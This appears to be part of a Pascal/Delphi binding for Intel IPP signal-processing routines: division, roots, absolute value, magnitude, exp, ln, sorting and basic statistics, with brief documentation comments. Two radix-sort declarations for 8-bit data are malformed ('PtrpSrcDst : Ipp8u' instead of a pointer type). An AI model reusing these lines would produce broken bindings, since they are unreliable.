function ippsDiv_64f_I( pSrc : Ipp64fPtr ; pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDiv_64fc_I( pSrc : Ipp64fcPtr ; pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDiv_16s_ISfs( pSrc : Ipp16sPtr ; pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_8u_ISfs( pSrc : Ipp8uPtr ; pSrcDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_16sc_ISfs( pSrc : Ipp16scPtr ; pSrcDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_32s_Sfs( pSrc1 : Ipp32sPtr ; pSrc2 : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_32s_ISfs( pSrc : Ipp32sPtr ; pSrcDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_32s16s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp32sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDivC_32f_I( val : Ipp32f ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDivC_32fc_I( val : Ipp32fc ; pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDivC_64f_I( val : Ipp64f ; pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDivC_64fc_I( val : Ipp64fc ; pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDivC_16s_ISfs( val : Ipp16s ; pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDivC_8u_ISfs( val : Ipp8u ; pSrcDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDivC_16sc_ISfs( val : Ipp16sc ; pSrcDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDivCRev_16u( pSrc : Ipp16uPtr ; val : Ipp16u ; pDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDivCRev_32f( pSrc : Ipp32fPtr ; val : Ipp32f ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDivCRev_16u_I( val : Ipp16u ; pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDivCRev_32f_I( val : Ipp32f ; pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsDivC_16u_ISfs( val : Ipp16u ; pSrcDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDivC_16u_Sfs( pSrc : Ipp16uPtr ; val : Ipp16u ; pDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_16u_ISfs( pSrc : Ipp16uPtr ; pSrcDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDiv_16u_Sfs( pSrc1 : Ipp16uPtr ; pSrc2 : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsDivC_64s_ISfs( val : Ipp64s ; pSrcDst : Ipp64sPtr ; len : Ipp32u ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsSqrt
Purpose: compute square root value for every element of the source vector
pSrc pointer to the source vector
pDst pointer to the destination vector
pSrcDst pointer to the source/destination vector
len length of the vector(s), number of items
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer to vector is NULL
ippStsSizeErr length of the vector is less or equal zero
ippStsSqrtNegArg negative value in real sequence
ippStsNoErr otherwise
}
function ippsSqrt_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqrt_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqrt_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqrt_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqrt_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqrt_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqrt_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqrt_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSqrt_16s_ISfs( pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqrt_16sc_ISfs( pSrcDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqrt_16s_Sfs( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqrt_16sc_Sfs( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqrt_8u_ISfs( pSrcDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqrt_8u_Sfs( pSrc : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqrt_16u_ISfs( pSrcDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqrt_16u_Sfs( pSrc : Ipp16uPtr ; pDst : Ipp16uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSqrt_32s16s_Sfs( pSrc : Ipp32sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsCubrt
Purpose: Compute cube root of every elements of the source vector
Parameters:
pSrc pointer to the source vector
pDst pointer to the destination vector
len length of the vector(s)
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer(s) to the data vector is NULL
ippStsSizeErr length of the vector(s) is less or equal 0
ippStsNoErr otherwise
}
function ippsCubrt_32s16s_Sfs( pSrc : Ipp32sPtr ; pDst : Ipp16sPtr ; Len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsCubrt_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsAbs
Purpose: compute absolute value of each element of the source vector
Parameters:
pSrcDst pointer to the source/destination vector
pSrc pointer to the source vector
pDst pointer to the destination vector
len length of the vector(s), number of items
Return:
ippStsNullPtrErr pointer(s) to data vector is NULL
ippStsSizeErr length of a vector is less or equal 0
ippStsNoErr otherwise
}
function ippsAbs_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAbs_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAbs_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAbs_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAbs_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAbs_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAbs_32s_I( pSrcDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsAbs_32s( pSrc : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsMagnitude
Purpose: compute magnitude of every complex element of the source
Parameters:
pSrcDst pointer to the source/destination vector
pSrc pointer to the source vector
pDst pointer to the destination vector
len length of the vector(s), number of items
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer(s) to data vector is NULL
ippStsSizeErr length of a vector is less or equal 0
ippStsNoErr otherwise
Notes:
dst = sqrt( src.re^2 + src.im^2 )
}
function ippsMagnitude_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMagnitude_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMagnitude_16sc32f( pSrc : Ipp16scPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMagnitude_16sc_Sfs( pSrc : Ipp16scPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMagnitude_32f( pSrcRe : Ipp32fPtr ; pSrcIm : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMagnitude_64f( pSrcRe : Ipp64fPtr ; pSrcIm : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMagnitude_16s_Sfs( pSrcRe : Ipp16sPtr ; pSrcIm : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMagnitude_32sc_Sfs( pSrc : Ipp32scPtr ; pDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMagnitude_16s32f( pSrcRe : Ipp16sPtr ; pSrcIm : Ipp16sPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsExp
Purpose: compute exponent value for all elements of the source vector
Parameters:
pSrcDst pointer to the source/destination vector
pSrc pointer to the source vector
pDst pointer to the destination vector
len length of the vector(s)
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer(s) to the data vector is NULL
ippStsSizeErr length of the vector(s) is less or equal 0
ippStsNoErr otherwise
}
function ippsExp_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsExp_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsExp_16s_ISfs( pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsExp_32s_ISfs( pSrcDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsExp_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsExp_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsExp_16s_Sfs( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsExp_32s_Sfs( pSrc : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsLn
Purpose: compute natural logarithm of every elements of the source vector
Parameters:
pSrcDst pointer to the source/destination vector
pSrc pointer to the source vector
pDst pointer to the destination vector
len length of the vector(s)
ScaleFactor scale factor value
Return:
ippStsNullPtrErr pointer(s) to the data vector is NULL
ippStsSizeErr length of the vector(s) is less or equal 0
ippStsLnZeroArg zero value in the source vector
ippStsLnNegArg negative value in the source vector
ippStsNoErr otherwise
Notes:
Ln( x<0 ) = NaN
Ln( 0 ) = -Inf
}
function ippsLn_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsLn_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsLn_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsLn_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsLn_16s_ISfs( pSrcDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsLn_16s_Sfs( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsLn_32s_ISfs( pSrcDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsLn_32s_Sfs( pSrc : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsSumLn
Purpose: computes sum of natural logarithm every elements of the source vector
Parameters:
pSrc pointer to the source vector
pSum pointer to the result
len length of the vector
Return:
ippStsNullPtrErr pointer(s) to the data vector is NULL
ippStsSizeErr length of the vector(s) is less or equal 0
ippStsLnZeroArg zero value in the source vector
ippStsLnNegArg negative value in the source vector
ippStsNoErr otherwise
}
function ippsSumLn_32f( pSrc : Ipp32fPtr ; len : Int32 ; pSum : Ipp32fPtr ): IppStatus; _ippapi
function ippsSumLn_64f( pSrc : Ipp64fPtr ; len : Int32 ; pSum : Ipp64fPtr ): IppStatus; _ippapi
function ippsSumLn_32f64f( pSrc : Ipp32fPtr ; len : Int32 ; pSum : Ipp64fPtr ): IppStatus; _ippapi
function ippsSumLn_16s32f( pSrc : Ipp16sPtr ; len : Int32 ; pSum : Ipp32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsSortAscend, ippsSortDescend
Purpose: Execute sorting of all elemens of the vector.
ippsSortAscend is sorted in increasing order.
ippsSortDescend is sorted in decreasing order.
Arguments:
pSrcDst pointer to the source/destination vector
len length of the vector
Return:
ippStsNullPtrErr pointer to the data is NULL
ippStsSizeErr length of the vector is less or equal zero
ippStsNoErr otherwise
}
function ippsSortAscend_8u_I( pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSortAscend_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSortAscend_16u_I( pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSortAscend_32s_I( pSrcDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSortAscend_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSortAscend_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSortDescend_8u_I( pSrcDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSortDescend_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSortDescend_16u_I( pSrcDst : Ipp16uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSortDescend_32s_I( pSrcDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSortDescend_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSortDescend_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSortIndexAscend_8u_I( pSrcDst : Ipp8uPtr ; pDstIdx : Int32Ptr ; len : Int32 ): IppStatus; _ippapi
function ippsSortIndexAscend_16s_I( pSrcDst : Ipp16sPtr ; pDstIdx : Int32Ptr ; len : Int32 ): IppStatus; _ippapi
function ippsSortIndexAscend_16u_I( pSrcDst : Ipp16uPtr ; pDstIdx : Int32Ptr ; len : Int32 ): IppStatus; _ippapi
function ippsSortIndexAscend_32s_I( pSrcDst : Ipp32sPtr ; pDstIdx : Int32Ptr ; len : Int32 ): IppStatus; _ippapi
function ippsSortIndexAscend_32f_I( pSrcDst : Ipp32fPtr ; pDstIdx : Int32Ptr ; len : Int32 ): IppStatus; _ippapi
function ippsSortIndexAscend_64f_I( pSrcDst : Ipp64fPtr ; pDstIdx : Int32Ptr ; len : Int32 ): IppStatus; _ippapi
function ippsSortIndexDescend_8u_I( pSrcDst : Ipp8uPtr ; pDstIdx : Int32Ptr ; len : Int32 ): IppStatus; _ippapi
function ippsSortIndexDescend_16s_I( pSrcDst : Ipp16sPtr ; pDstIdx : Int32Ptr ; len : Int32 ): IppStatus; _ippapi
function ippsSortIndexDescend_16u_I( pSrcDst : Ipp16uPtr ; pDstIdx : Int32Ptr ; len : Int32 ): IppStatus; _ippapi
function ippsSortIndexDescend_32s_I( pSrcDst : Ipp32sPtr ; pDstIdx : Int32Ptr ; len : Int32 ): IppStatus; _ippapi
function ippsSortIndexDescend_32f_I( pSrcDst : Ipp32fPtr ; pDstIdx : Int32Ptr ; len : Int32 ): IppStatus; _ippapi
function ippsSortIndexDescend_64f_I( pSrcDst : Ipp64fPtr ; pDstIdx : Int32Ptr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsSortRadixGetBufferSize, ippsSortRadixIndexGetBufferSize
Purpose: : Get the size (in bytes) of the buffer for ippsSortRadix internal calculations.
Arguments:
len length of the vectors
dataType data type of the vector.
pBufferSize pointer to the calculated buffer size (in bytes).
Return:
ippStsNoErr OK
ippStsNullPtrErr pBufferSize is NULL
ippStsSizeErr vector`s length is not positive
ippStsDataTypeErr unsupported data type
}
function ippsSortRadixGetBufferSize( len : Int32 ; dataType : IppDataType ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsSortRadixIndexGetBufferSize( len : Int32 ; dataType : IppDataType ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsSortRadixAscend, ippsSortRadixDescend
Purpose: Rearrange elements of input vector using radix sort algorithm.
ippsSortRadixAscend - sorts input array in increasing order
ippsSortRadixDescend - sorts input array in decreasing order
Arguments:
pSrcDst pointer to the source/destination vector
len length of the vectors
pBuffer pointer to the work buffer
Return:
ippStsNoErr OK
ippStsNullPtrErr pointer to the data or work buffer is NULL
ippStsSizeErr length of the vector is less or equal zero
}
function ippsSortRadixAscend_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixAscend_32s_I( pSrcDst : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixAscend_32u_I( pSrcDst : Ipp32uPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixAscend_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixAscend_16u_I( pSrcDst : Ipp16uPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixAscend_8u_I( PtrpSrcDst : Ipp8u ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixAscend_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixDescend_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixDescend_32s_I( pSrcDst : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixDescend_32u_I( pSrcDst : Ipp32uPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixDescend_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixDescend_16u_I( pSrcDst : Ipp16uPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixDescend_8u_I( PtrpSrcDst : Ipp8u ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixDescend_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsSortRadixIndexAscend, ippsSortRadixIndexDescend
Purpose: Indirectly sorts possibly sparse input vector, using indexes.
For a dense input array the following will be true:
ippsSortRadixIndexAscend - pSrc[pDstIndx[i-1]] <= pSrc[pDstIndx[i]];
ippsSortRadixIndexDescend - pSrc[pDstIndx[i]] <= pSrc[pDstIndx[i-1]];
Arguments:
pSrc pointer to the first element of a sparse input vector;
srcStrideBytes step between two consecutive elements of input vector in bytes;
pDstIndx pointer to the output indexes vector;
len length of the vectors
pBuffer pointer to the work buffer
Return:
ippStsNoErr OK
ippStsNullPtrErr pointers to the vectors or poiter to work buffer is NULL
ippStsSizeErr length of the vector is less or equal zero
}
function ippsSortRadixIndexAscend_32f( pSrc : Ipp32fPtr ; srcStrideBytes : Ipp32s ; pDstIndx : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixIndexAscend_32s( pSrc : Ipp32sPtr ; srcStrideBytes : Ipp32s ; pDstIndx : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixIndexAscend_32u( pSrc : Ipp32uPtr ; srcStrideBytes : Ipp32s ; pDstIndx : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixIndexAscend_16s( pSrc : Ipp16sPtr ; srcStrideBytes : Ipp32s ; pDstIndx : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixIndexAscend_16u( pSrc : Ipp16uPtr ; srcStrideBytes : Ipp32s ; pDstIndx : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixIndexAscend_8u( pSrc : Ipp8uPtr ; srcStrideBytes : Ipp32s ; pDstIndx : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixIndexDescend_32f( pSrc : Ipp32fPtr ; srcStrideBytes : Ipp32s ; pDstIndx : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixIndexDescend_32s( pSrc : Ipp32sPtr ; srcStrideBytes : Ipp32s ; pDstIndx : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixIndexDescend_32u( pSrc : Ipp32uPtr ; srcStrideBytes : Ipp32s ; pDstIndx : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixIndexDescend_16s( pSrc : Ipp16sPtr ; srcStrideBytes : Ipp32s ; pDstIndx : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixIndexDescend_16u( pSrc : Ipp16uPtr ; srcStrideBytes : Ipp32s ; pDstIndx : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsSortRadixIndexDescend_8u( pSrc : Ipp8uPtr ; srcStrideBytes : Ipp32s ; pDstIndx : Ipp32sPtr ; len : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Vector Measures Functions
------------------------------------------------------------------------------
Names: ippsSum
Purpose: sum all elements of the source vector
Parameters:
pSrc pointer to the source vector
pSum pointer to the result
len length of the vector
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer to the vector or result is NULL
ippStsSizeErr length of the vector is less or equal 0
ippStsNoErr otherwise
}
function ippsSum_16s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pSum : Ipp16sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSum_16sc_Sfs( pSrc : Ipp16scPtr ; len : Int32 ; pSum : Ipp16scPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSum_16s32s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pSum : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSum_16sc32sc_Sfs( pSrc : Ipp16scPtr ; len : Int32 ; pSum : Ipp32scPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSum_32s_Sfs( pSrc : Ipp32sPtr ; len : Int32 ; pSum : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsSum_32f( pSrc : Ipp32fPtr ; len : Int32 ; pSum : Ipp32fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsSum_32fc( pSrc : Ipp32fcPtr ; len : Int32 ; pSum : Ipp32fcPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsSum_64f( pSrc : Ipp64fPtr ; len : Int32 ; pSum : Ipp64fPtr ): IppStatus; _ippapi
function ippsSum_64fc( pSrc : Ipp64fcPtr ; len : Int32 ; pSum : Ipp64fcPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsMean
Purpose: compute average value of all elements of the source vector
Parameters:
pSrc pointer to the source vector
pMean pointer to the result
len length of the source vector
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer(s) to the vector or the result is NULL
ippStsSizeErr length of the vector is less or equal 0
ippStsNoErr otherwise
}
function ippsMean_16s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pMean : Ipp16sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMean_16sc_Sfs( pSrc : Ipp16scPtr ; len : Int32 ; pMean : Ipp16scPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMean_32s_Sfs( pSrc : Ipp32sPtr ; len : Int32 ; pMean : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMean_32f( pSrc : Ipp32fPtr ; len : Int32 ; pMean : Ipp32fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsMean_32fc( pSrc : Ipp32fcPtr ; len : Int32 ; pMean : Ipp32fcPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsMean_64f( pSrc : Ipp64fPtr ; len : Int32 ; pMean : Ipp64fPtr ): IppStatus; _ippapi
function ippsMean_64fc( pSrc : Ipp64fcPtr ; len : Int32 ; pMean : Ipp64fcPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsStdDev
Purpose: compute standard deviation value of all elements of the vector
Parameters:
pSrc pointer to the vector
len length of the vector
pStdDev pointer to the result
scaleFactor scale factor value
Return:
ippStsNoErr Ok
ippStsNullPtrErr pointer to the vector or the result is NULL
ippStsSizeErr length of the vector is less than 2
Functionality:
std = sqrt( sum( (x[n] - mean(x))^2, n=0..len-1 ) / (len-1))
}
function ippsStdDev_16s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pStdDev : Ipp16sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsStdDev_16s32s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pStdDev : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsStdDev_32f( pSrc : Ipp32fPtr ; len : Int32 ; pStdDev : Ipp32fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsStdDev_64f( pSrc : Ipp64fPtr ; len : Int32 ; pStdDev : Ipp64fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsMeanStdDev
Purpose: compute standard deviation value and mean value
of all elements of the vector
Parameters:
pSrc pointer to the vector
len length of the vector
pStdDev pointer to the result
pMean pointer to the result
scaleFactor scale factor value
Return:
ippStsNoErr Ok
ippStsNullPtrErr pointer to the vector or the result is NULL
ippStsSizeErr length of the vector is less than 2
Functionality:
std = sqrt( sum( (x[n] - mean(x))^2, n=0..len-1 ) / (len-1))
}
function ippsMeanStdDev_16s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pMean : Ipp16sPtr ; pStdDev : Ipp16sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMeanStdDev_16s32s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pMean : Ipp32sPtr ; pStdDev : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsMeanStdDev_32f( pSrc : Ipp32fPtr ; len : Int32 ; pMean : Ipp32fPtr ; pStdDev : Ipp32fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsMeanStdDev_64f( pSrc : Ipp64fPtr ; len : Int32 ; pMean : Ipp64fPtr ; pStdDev : Ipp64fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsMin, ippsMax, ippsMinMax
Purpose: Find minimum/maximum value among all elements of the source vector
Parameters:
pSrc - Pointer to the source vector.
len - Length of the vector.
pMax - Pointer to the result.
pMin - Pointer to the result.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when length of the vector is less or equal 0.
}
function ippsMin_16s( pSrc : Ipp16sPtr ; len : Int32 ; pMin : Ipp16sPtr ): IppStatus; _ippapi
function ippsMin_32s( pSrc : Ipp32sPtr ; len : Int32 ; pMin : Ipp32sPtr ): IppStatus; _ippapi
